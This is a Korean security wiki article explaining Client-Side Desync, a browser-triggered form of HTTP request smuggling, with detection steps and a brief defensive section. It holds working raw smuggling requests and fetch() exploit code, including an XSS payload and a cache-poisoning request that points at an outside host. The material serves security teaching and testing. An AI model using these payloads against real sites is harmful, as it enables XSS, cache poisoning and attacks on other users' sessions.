Client-Side Desync Attack
Introduction
Client-Side Desync(CSD) Attack은 HTTP Request Smuggling(HRS, Desync Attack)의 한 종류로 기존의 HRS가 Browser가 전송할 수 없는 형태의 HTTP Request를 임의로 전송하여 서버 또는 광범위한 사용자를 대상으로 영향을 끼쳤다면 CSD는 Browser를 통해 전송할 수 있는 형태의 Smuggling으로 Self-smuggling(보통 HTTP Pipelining이라고 이야기하죠) 등의 케이스에서 영향력을 만들어낼 수 있는 기술입니다.
이를 통해서 피해자의 웹 브라우저가 취약 웹 사이트를 방문할 때 발생하는 Connectrion을 비동기화 시키고 TCP/TLS 소켄에 공격자가 의도한 데이터(malicious prefix)를 남겨서 다음 Connection에서 트리거 시키는 형태로 동작합니다.
실제 공격은 크게 아래 플로우로 이루어집니다.
- 피해자가 공격코드가 삽입된 페이지 접근 (악성 사이트 또는 XSS가 삽입된 서비스 페이지)
- 피해자의 브라우저는 취약 서버로 웹 요청을 전송함. 이 때 Body에는 Smuggling 요청이 포함됨
- 서버가 Response를 주고 남은 공격자가 의도한 부분이 TCP/TLS 소켓에 남은 상태로 연결 종료
- 다음 요청에서 공격자가 의도한 부분이 Prefix로 붙어 악의적인 웹 요청이 처리됨
참고로 해당 기술은 기본적으로 HTTP Request Smuggling(HRS)에 대한 원리와 응용에 대한 이해가 필요합니다. HRS가 궁금하다면 Cullinan > HTTP Request Smuggling (HRS) 문서를 참고해주세요.
Offensive techniques
Detect
Probe
CSD를 찾기 위해선 가장 먼저 Content-Length 헤더를 무시하는 구간을 찾아야합니다. 이 떄 쉬운 방법으로는 CL:TE Smuggling과 비슷하게 헤더로 명시한 실제 Body 크기보다 더 큰 Content-Length를 헤더로 전송하여 서버가 기다리는지 확인하는 방법입니다. 보통 Content-Length가 Body보다 큰 경우 백엔드 서버는 추가로 데이터를 받기 위해 대기하게 되고 딜레이가 발생합니다.
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 999
aaaa
다만 때때로 어떤 서버들은 대기하지 않고 즉시 응답하는 경우가 있습니다. 이러한 경우 서버가 CL 헤더를 신뢰하지 않는 상태로 CSD가 발생할 가능성이 높습니다. 보통 아래 Endpoint 들에서 자주 발생합니다.
- POST를 기대하지 않는 API Endpoint
- Static Files
- Error Page
Connection check
이제 Connection이 유지되는지 확인이 필요합니다. Smuggling의 기본적인 동작은 Connection 하나에 2개 이상의 HTTP Request를 포함하고, 이를 서버가 처리하는 과정에서 2개로 분리시키는 방법인데, 이는 CSD Attack에서도 동일하게 작용합니다.
체크를 위한 좋은 방법 중 하나는 CL.0나 H2.0과 같이 정상적인 헤더만을 사용하는 Smuggling을 유도하는 방법입니다. CL.0나 H2.0로 하나의 Connection으로 전송한 요청이 나뉘어 처리된다면 Smugggling이 가능합니다.
CL.0 Smuggling
CL.0는 기존 Smuggling과 동일하게 먼저 Smuggle 요청을 전송한 후 전송 요청을 추가 전송하여 서버의 반응을 살펴서 알 수 있습니다. Body에 404를 유도하는 데이터를 넣고 POST 요청을 전송합니다.
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
HTTP/1.1 200 OK
이 때 기존 HRS라면 Content-Length나 Transfer-Encoding 등을 이용해 요청을 잘랐겠지만, CSD 케이스에선 정상 Content-Length로 전송합니다. 이후 후속요청을 전송했을 때 404가 유도되었다면 Smuggling 즉 CSD에 취약한 상태로 식별할 수 있습니다.
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 404 Not Found
보통은 POST를 지원하지 않는 페이지에서 위와 같이 호출하는 경우 발생할 확률이 높습니다.
H2.0 Smuggling
H2.0는 또한 정상적인 HTTP Request로 전송하여 Smuggling을 유도합니다.
POST /api/me HTTP/2
Host: vulnerable-website.com
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
Scanning
보통의 경우 직접 CSD를 위해 찾는다기 보단 HRS를 찾는 과정에서 CL.0, H2.0 이슈를 발견하면 같이 테스트해보는 형태로 작업을 진행하는 것이 수월합니다. 그래서 Smuggling 식별을 위한 스캐닝 작업에서 힌트를 얻는 경우가 많습니다.
다만 아쉽게도 기존에 잘 알려진 CLI 기반 도구들은 CL.0, H2.0를 모두 지원하지 못하는 경우가 많습니다. BurpSuite의 HTTP Request Smuggler가 스캔 성능으로는 가장 좋다고 판단됩니다.
Exploitation
만약 CSD Attack의 포인트를 찾았다면 이제 브라우저에서 CSD 코드가 동작할 수 있도록 작성합니다. 기존 HRS가 비정상 헤더를 이용한 방법이였다면 CSD는 기본적으로 브라우저에서 동작하는 것을 전제하기 때문에 fetch하는 코드로 동작 시켜야합니다.
fetch('https://vulnerable-website.com/api/me', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nFoo: x",
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://vulnerable-website.com/' // use the poisoned connection
})
이 때 mode를 no-cors
로 주는데, 이는 크롬에서 단일 connection ID로 표시하기 위한 트릭으로 디버깅을 쉽게 해줄 수 있습니다. 굳이 필요하지 않은 부분이니 제외하셔도 됩니다.
XSS
하나의 Request로 2개의 Response를 받을 수 있기 떄문에 Content-Type이 text/html인 페이지를 호출하고, 두번째 요청에서 JSON XSS(XSS Weakness 참고) 같이 영향없는 Reflected의 Type을 바꿔주는 형태로 리스크업이 가능합니다.
fetch('https://vulnerable-website.com/api/me', {
method: 'POST',
body: `HEAD /404/?cb=123 HTTP/1.1\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors'
}).catch(() => {
location = 'https://vulnerable-website.com/'
})
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Content-Length: 72
HEAD /404/?cb=123 HTTP/1.1
GET /x?<script>evil() HTTP/1.1
X: YGET / HTTP/1.1
Host: vulnerable-website.com
Cache Poisoning
CSD를 이용하면 공격자 본인에게만 영향을 미치는 Cache Poisoning을 타인을 공격할 수 있는 Cache Poisoning으로 바꿀 수 있습니다. 말 그대로 브라우저에서 캐싱하기 떄문에 포인트만 된다면 쉽게 악의적인 Response를 캐시시키고, 공격에 사용할 수 있습니다.
fetch('https://redacted/', {method: 'POST', body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include'}).catch(() => { location='https://redacted/+CSCOE+/win.js' })
Etc
Smuggling과 마찬가지고 서비스의 구성, 동작에 따라서 악용할 방법은 굉장히 많습니다.
Defensive techniques
CSD Attack은 HTTP Request Smugglin과 다르게 정상 헤더로 전송됩니다. 그래서 기존에 WAS나 네트워크 장비단에서 차단할 수 없는 경우가 많고, 서비스단 로직에서 직접 대응이 필요할 수 있습니다.
요청을 처리할 때 서버단에서의 예외(e.g GET만 사용하는 API에 Body가 전달되었다 등)가 발생하면 Connection을 Close 해주는게 좋습니다.
사실 대응방안이 좋은 API 작성과는 완전 반대의 내용이라 실제 케이스에서 대응하기는 굉장히 까다롭습니다. 단순히 코드단에서만 대응하는게 아니라 앞단의 서버 등에서도 충분히 대응할 방법은 고안할 수 있으니 서비스 환경에 맞게 고민하고 대응하는 것이 가장 좋은 방법이라고 생각합니다.